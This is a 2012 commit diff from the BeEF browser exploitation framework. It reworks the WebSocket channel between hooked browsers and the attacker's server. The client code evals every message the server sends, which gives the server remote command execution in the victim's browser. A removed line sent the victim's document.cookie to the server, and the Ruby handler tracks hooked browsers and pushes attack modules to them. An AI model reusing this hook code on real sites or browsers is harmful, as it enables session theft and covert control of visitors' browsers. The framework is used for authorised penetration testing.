Fix issue 674 (NilClass issue)

This commit is contained in:
antisnatchor
2012-05-10 13:54:40 +01:00
parent 925e744194
commit fdad068ee5
2 changed files with 17 additions and 21 deletions

View File

@@ -36,35 +36,32 @@ beef.websocket = {
}
},
/*websocket send Helo to beef server and start async communication*/
/* send Helo message to the BeEF server and start async communication*/
start:function () {
new beef.websocket.init();
/*so the server is just up we need send helo id @todo insert browser ID where can i get them?*/
this.socket.onopen = function () {
console.log("Socket has been opened!");
//console.log("Socket has been opened!");
/*send browser id*/
beef.websocket.send('{"cookie":"' + document.cookie + '"}');
console.log("Connected and Helo");
beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');
//console.log("Connected and Helo");
beef.websocket.alive();
}
this.socket.onmessage = function (message) {
console.log("Received message via WS."+ message.data);
eval(message.data);
//console.log("Received message via WS."+ message.data);
eval(message.data);
}
},
send:function (data) {
this.socket.send(data);
console.log("Sent [" + data + "]");
// console.log("Sent [" + data + "]");
},
//todo antisnatchor: we need to get only the BEEFHOOK cookie value, not every cookie.
//todo in this way it will be easier to parse it server side.
alive: function (){
beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}');
console.log("sent alive");
// console.log("sent alive");
setTimeout("beef.websocket.alive()", beef.websocket.alive_timer);
}

View File

@@ -44,8 +44,8 @@ module BeEF
ws.handshake() #accept and connect
while true
#command interpretation
message=ws.receive()
messageHash= JSON.parse("#{message}")
message = ws.receive()
messageHash = JSON.parse("#{message}")
#@note messageHash[result] is Base64 encoded
if (messageHash["cookie"]!= nil)
print_info("Browser #{ws.origin} says helo! WebSocket is running")
@@ -53,7 +53,6 @@ module BeEF
@@activeSocket["#{messageHash["cookie"]}"] = ws
print_debug("In activesocket we have #{@@activeSocket}")
elsif messageHash["alive"] != nil
#@todo browser could be not in bd so we have to add it
hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => messageHash["alive"])
hooked_browser.lastseen = Time.new.to_i
hooked_browser.count!
@@ -76,10 +75,10 @@ module BeEF
end
#@note used in command.rd return nill if browser is not in list else giveback websocket
#@param [String] browser_id the cookie value
def getsocket (browser_id)
if (@@activeSocket["BEEFHOOK=#{browser_id}"] != nil)
#@note retrieve the right websocket channel given an hooked browser session
#@param [String] session the hooked browser session
def getsocket (session)
if (@@activeSocket[session] != nil)
true
else
false
@@ -88,9 +87,9 @@ module BeEF
#@note send a function to hooked and ws browser
#@param [String] fn the module to execute
#@param [String] browser_id the cookie value
def sent (fn, browser_id)
@@activeSocket["BEEFHOOK=#{browser_id}"].send(fn)
#@param [String] session the hooked browser session
def sent (fn, session)
@@activeSocket[session].send(fn)
end
BeEF::Core::Handlers::Commands